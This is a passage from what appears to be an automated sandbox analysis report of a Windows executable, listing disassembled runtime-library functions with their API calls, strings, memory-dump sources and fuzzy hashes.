                                                                                                                                                        • _free.LIBCMT ref: 00DC3617
                                                                                                                                                        • _free.LIBCMT ref: 00DC3622
                                                                                                                                                        • _free.LIBCMT ref: 00DC362D
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 776569668-0
                                                                                                                                                        • Opcode ID: ab47a35b4bbe4dfe32203c1e62b6aae3bc761e273b4d797f2b7891905fbb6212
                                                                                                                                                        • Instruction ID: 6b01968f64d7352db3acba8df13c0e594327641393faed75025c2a927e5cdfb3
                                                                                                                                                        • Opcode Fuzzy Hash: ab47a35b4bbe4dfe32203c1e62b6aae3bc761e273b4d797f2b7891905fbb6212
                                                                                                                                                        • Instruction Fuzzy Hash: AA11C971560B45FBD630BBB0CC46FCB7B9CEF04700F40881DB299A7152DA75A60587B0
                                                                                                                                                        Function 00DB4D5F Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00DB4DDA,00DB4D3D,00DB4FDE), ref: 00DB4D76
                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00DB4D8C
                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00DB4DA1
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AddressProc$HandleModule
                                                                                                                                                        • String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
                                                                                                                                                        • API String ID: 667068680-1718035505
                                                                                                                                                        • Opcode ID: 612adfae53414e0873260effad990d244d652cb0cca61967c632e1bb0f25817e
                                                                                                                                                        • Instruction ID: f8d62024ce67c15113e7f10aa66bc33809934591e5ff650360f0da34140a4e7d
                                                                                                                                                        • Opcode Fuzzy Hash: 612adfae53414e0873260effad990d244d652cb0cca61967c632e1bb0f25817e
                                                                                                                                                        • Instruction Fuzzy Hash: 7FF0F631711B63EB0B62EF756CC4BF623DCAA0575931C0539D643D7382EA20CC125AB1
                                                                                                                                                        Function 00DC1609 Relevance: 9.2, APIs: 6, Instructions: 216COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00DBC5A2,00DBC5A2,?,?,?,00DC185A,00000001,00000001,C5E85006), ref: 00DC1663
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00DC185A,00000001,00000001,C5E85006,?,?,?), ref: 00DC16E9
                                                                                                                                                        • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,C5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00DC17E3
                                                                                                                                                        • __freea.LIBCMT ref: 00DC17F0
                                                                                                                                                          • Part of subcall function 00DC040E: RtlAllocateHeap.NTDLL(00000000,00DB535E,?,?,00DB6C16,?,?,?,?,?,00DB5269,00DB535E,?,?,?,?), ref: 00DC0440
                                                                                                                                                        • __freea.LIBCMT ref: 00DC17F9
                                                                                                                                                        • __freea.LIBCMT ref: 00DC181E
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1414292761-0
                                                                                                                                                        • Opcode ID: 29b43520fc2c229af60672213429d7b502e1730a04a2c53e6e2ddc7581b1d828
                                                                                                                                                        • Instruction ID: 76709f730db452132d0d2d32f52733c5c862e2fe2ca4a7b1c629ff91b2c5cd21
                                                                                                                                                        • Opcode Fuzzy Hash: 29b43520fc2c229af60672213429d7b502e1730a04a2c53e6e2ddc7581b1d828
                                                                                                                                                        • Instruction Fuzzy Hash: 3B51A17A600227AFDB259F64CC41FAB77AAEF46750B29422CFD04D7182EB34DC5186B0
                                                                                                                                                        Function 00DA7AA3 Relevance: 9.1, APIs: 6, Instructions: 104timeCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?), ref: 00DA7B06
                                                                                                                                                          • Part of subcall function 00DA067E: GetVersionExW.KERNEL32(?), ref: 00DA06AF
                                                                                                                                                        • LocalFileTimeToFileTime.KERNEL32(?,?,?,?), ref: 00DA7B2A
                                                                                                                                                        • FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 00DA7B44
                                                                                                                                                        • TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?,?,?), ref: 00DA7B57
                                                                                                                                                        • SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 00DA7B67
                                                                                                                                                        • SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 00DA7B77
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Time$File$System$Local$SpecificVersion
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2092733347-0
                                                                                                                                                        • Opcode ID: f3a40a6fc672d08708da910be4b75ae3e71a8020a547d67dff0eaa111d288d20
                                                                                                                                                        • Instruction ID: e6125fc22b17bb557fd64aa7c036ceb658be5b9e8fad82d4198a70762f2f6010
                                                                                                                                                        • Opcode Fuzzy Hash: f3a40a6fc672d08708da910be4b75ae3e71a8020a547d67dff0eaa111d288d20
                                                                                                                                                        • Instruction Fuzzy Hash: 9B4116761183069BC704DFA9C88499BB7E8FF98714F04991EF999C7310E730D949CBA6
                                                                                                                                                        Function 00DAF33B Relevance: 9.1, APIs: 6, Instructions: 102timeCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • FileTimeToSystemTime.KERNEL32(?,?,D8943D1D,?,?,?,?,00DCAA27,000000FF), ref: 00DAF38A
                                                                                                                                                        • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,?,00DCAA27,000000FF), ref: 00DAF399
                                                                                                                                                        • SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,00DCAA27,000000FF), ref: 00DAF3A7
                                                                                                                                                        • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,00DCAA27,000000FF), ref: 00DAF3B5
                                                                                                                                                        • GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032,?,?,?,?,00DCAA27,000000FF), ref: 00DAF3D0
                                                                                                                                                        • GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032,?,?,?,?,00DCAA27,000000FF), ref: 00DAF3FA
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Time$System$File$Format$DateLocalSpecific
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 909090443-0
                                                                                                                                                        • Opcode ID: ffb49bef83518329c9c533e2185e21bec39dbca64f035d42298ee117b1bd5845
                                                                                                                                                        • Instruction ID: 11a9c0bf7bdac0d122bf68dd4e8e23b8f1d1f978d3d4502bd23bd5328a63f295
                                                                                                                                                        • Opcode Fuzzy Hash: ffb49bef83518329c9c533e2185e21bec39dbca64f035d42298ee117b1bd5845
                                                                                                                                                        • Instruction Fuzzy Hash: 32311FB2510289AFDB11DFA5DC45EEF77ACFB19700F04412AFA0AD6241E7749A04CB70
                                                                                                                                                        Function 00DB977A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetLastError.KERNEL32(?,?,00DB9771,00DB96CC,00DB6A64), ref: 00DB9788
                                                                                                                                                        • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00DB9796
                                                                                                                                                        • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00DB97AF
                                                                                                                                                        • SetLastError.KERNEL32(00000000,00DB9771,00DB96CC,00DB6A64), ref: 00DB9801
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorLastValue___vcrt_
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3852720340-0
                                                                                                                                                        • Opcode ID: 7130c76a94d984d81a78b254cbc19b28d6de012e750c75ed7037dec7e321f053
                                                                                                                                                        • Instruction ID: 974f09bfd381c18c7bee02dcb7b5b02c6f799325919a0a0189de0a635c6b700e
                                                                                                                                                        • Opcode Fuzzy Hash: 7130c76a94d984d81a78b254cbc19b28d6de012e750c75ed7037dec7e321f053
                                                                                                                                                        • Instruction Fuzzy Hash: 6E01FC72139392EE96142F787CF55D6ABC4EB02375731033AF612952E4EF129C00E571
                                                                                                                                                        Function 00DC0005 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetLastError.KERNEL32(?,?,00DBB581,?,00DDE088,?,00DBAE80,?,00DDE088,?,00000007), ref: 00DC0009
                                                                                                                                                        • _free.LIBCMT ref: 00DC003C
                                                                                                                                                        • _free.LIBCMT ref: 00DC0064
                                                                                                                                                        • SetLastError.KERNEL32(00000000,00DDE088,?,00000007), ref: 00DC0071
                                                                                                                                                        • SetLastError.KERNEL32(00000000,00DDE088,?,00000007), ref: 00DC007D
                                                                                                                                                        • _abort.LIBCMT ref: 00DC0083
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorLast$_free$_abort
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3160817290-0
                                                                                                                                                        • Opcode ID: 4431884cc819ef67db6982fe080945100b7ce1200d41ca60a224c6fefd7e3329
                                                                                                                                                        • Instruction ID: 8e845374595d014d1df5215f500fd9ab4dd1206f998c3cf40b30b6e3aa39ac9f
                                                                                                                                                        • Opcode Fuzzy Hash: 4431884cc819ef67db6982fe080945100b7ce1200d41ca60a224c6fefd7e3329
                                                                                                                                                        • Instruction Fuzzy Hash: 86F0A435104703E7C22233786C06F6B2E1ADBC2762F2B011CF619D3292EE358C46A674
                                                                                                                                                        Function 00DB3FCF Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • WaitForSingleObject.KERNEL32(?,0000000A), ref: 00DB3FDB
                                                                                                                                                        • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DB3FF5
                                                                                                                                                        • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DB4006
                                                                                                                                                        • TranslateMessage.USER32(?), ref: 00DB4010
                                                                                                                                                        • DispatchMessageW.USER32(?), ref: 00DB401A
                                                                                                                                                        • WaitForSingleObject.KERNEL32(?,0000000A), ref: 00DB4025
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Message$ObjectSingleWait$DispatchPeekTranslate
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2148572870-0
                                                                                                                                                        • Opcode ID: 970bd5f612ec6a5590af9c26bb65440667d0ded2953fb7e0c215bb52a1d8d021
                                                                                                                                                        • Instruction ID: d17ddb79f12a2842a39e1cb5a7a77d1a6f9f4b46eb7abc27491bca48febcd4d3
                                                                                                                                                        • Opcode Fuzzy Hash: 970bd5f612ec6a5590af9c26bb65440667d0ded2953fb7e0c215bb52a1d8d021
                                                                                                                                                        • Instruction Fuzzy Hash: 0FF03C72A0122AABCF20ABA1EC4CEDF7E7DEF45391F044011F60AE6150E6349541CBB0
                                                                                                                                                        Function 00DB2493 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 216windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetDlgItem.USER32(?,00000066), ref: 00DB26A9
                                                                                                                                                        • SendMessageW.USER32(00000000,00000143,00000000,00DE5380), ref: 00DB26D6
                                                                                                                                                        • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00DB2702
                                                                                                                                                        Strings
                                                                                                                                                        • ProgramFilesDir, xrefs: 00DB25E0
                                                                                                                                                        • Software\Microsoft\Windows\CurrentVersion, xrefs: 00DB25F4
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: MessageSend$Item
                                                                                                                                                        • String ID: ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
                                                                                                                                                        • API String ID: 3888421826-2634093826
                                                                                                                                                        • Opcode ID: b3da5ed44128d337e94a2e083f80f3f821ceca1a26bc0107bb5f138ddd48d381
                                                                                                                                                        • Instruction ID: 456cb69ec1773d1794f8daf5a8429e24d6c35e1a653b7a06b82be426a245305d
                                                                                                                                                        • Opcode Fuzzy Hash: b3da5ed44128d337e94a2e083f80f3f821ceca1a26bc0107bb5f138ddd48d381
                                                                                                                                                        • Instruction Fuzzy Hash: 06811A36900259DEDF24EBE0C891BEEB7B8EF18350F54059AE546B7181EB705B89CB70
                                                                                                                                                        Function 00DADC95 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 122COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _wcslen$H_prolog3
                                                                                                                                                        • String ID: &nbsp;$<br>
                                                                                                                                                        • API String ID: 1035939448-26742755
                                                                                                                                                        • Opcode ID: 32072ddcd4f9b1c94b73cc28b293256d18441a16c1c14551a2f4e20b83a6fdd1
                                                                                                                                                        • Instruction ID: 77ed4aa69be0450923d034599aa6edf04557e57b134ea2dd20cf10c8728699ea
                                                                                                                                                        • Opcode Fuzzy Hash: 32072ddcd4f9b1c94b73cc28b293256d18441a16c1c14551a2f4e20b83a6fdd1
                                                                                                                                                        • Instruction Fuzzy Hash: 4F411831B003119BDF159F54D881B2D7763FBA6704F64842EE4039BA81EBB199828BF1
                                                                                                                                                        Function 00DB07E5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • LoadBitmapW.USER32(00000065), ref: 00DB07F5
                                                                                                                                                        • GetObjectW.GDI32(00000000,00000018,?), ref: 00DB081A
                                                                                                                                                        • DeleteObject.GDI32(00000000), ref: 00DB084C
                                                                                                                                                        • DeleteObject.GDI32(00000000), ref: 00DB086F
                                                                                                                                                          • Part of subcall function 00DAEBD3: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00DB0845,00000066), ref: 00DAEBE6
                                                                                                                                                          • Part of subcall function 00DAEBD3: SizeofResource.KERNEL32(00000000,?,?,?,00DB0845,00000066), ref: 00DAEBFD
                                                                                                                                                          • Part of subcall function 00DAEBD3: LoadResource.KERNEL32(00000000,?,?,?,00DB0845,00000066), ref: 00DAEC14
                                                                                                                                                          • Part of subcall function 00DAEBD3: LockResource.KERNEL32(00000000,?,?,?,00DB0845,00000066), ref: 00DAEC23
                                                                                                                                                          • Part of subcall function 00DAEBD3: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00DB0845,00000066), ref: 00DAEC3E
                                                                                                                                                          • Part of subcall function 00DAEBD3: GlobalLock.KERNEL32(00000000), ref: 00DAEC4F
                                                                                                                                                          • Part of subcall function 00DAEBD3: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00DAEC73
                                                                                                                                                          • Part of subcall function 00DAEBD3: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00DAECB8
                                                                                                                                                          • Part of subcall function 00DAEBD3: GlobalUnlock.KERNEL32(00000000), ref: 00DAECD7
                                                                                                                                                          • Part of subcall function 00DAEBD3: GlobalFree.KERNEL32(00000000), ref: 00DAECDE
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
                                                                                                                                                        • String ID: ]
                                                                                                                                                        • API String ID: 1797374341-3352871620
                                                                                                                                                        • Opcode ID: 80e2fbdb781f4d3bec91be742054a50f638c657af46263fa0a663009541e3fbb
                                                                                                                                                        • Instruction ID: d41dd7f66ad5e51ccfd4c384e579773fc6e7b2605e45f94ca862bd0bcf330a81
                                                                                                                                                        • Opcode Fuzzy Hash: 80e2fbdb781f4d3bec91be742054a50f638c657af46263fa0a663009541e3fbb
                                                                                                                                                        • Instruction Fuzzy Hash: 8C01DE3A940215A7EB1177A49C4AABF3B7AEF81B51F080024F902EB3D1DB71CD0596F1
                                                                                                                                                        Function 00DBED2F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00DBECE0,00000000,?,00DBEC80,00000000,00DD6F40,0000000C,00DBEDD7,00000000,00000002), ref: 00DBED4F
                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00DBED62
                                                                                                                                                        • FreeLibrary.KERNEL32(00000000,?,?,?,00DBECE0,00000000,?,00DBEC80,00000000,00DD6F40,0000000C,00DBEDD7,00000000,00000002), ref: 00DBED85
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                        • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                        • API String ID: 4061214504-1276376045
                                                                                                                                                        • Opcode ID: 0303385e2acbb19b6b27ba63b5fdcc4924f72659e3b26ac886e0b5bcdfe95146
                                                                                                                                                        • Instruction ID: 32e200b3f4dc0fbb1d4a5eafb324372e7870863b616e532d00fd47764e688482
                                                                                                                                                        • Opcode Fuzzy Hash: 0303385e2acbb19b6b27ba63b5fdcc4924f72659e3b26ac886e0b5bcdfe95146
                                                                                                                                                        • Instruction Fuzzy Hash: FDF03C31A1121AFBCB119FA4DC09FEEBFB5EB08725F440169F90AE2250CB714946CAB0
                                                                                                                                                        Function 00DA5094 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
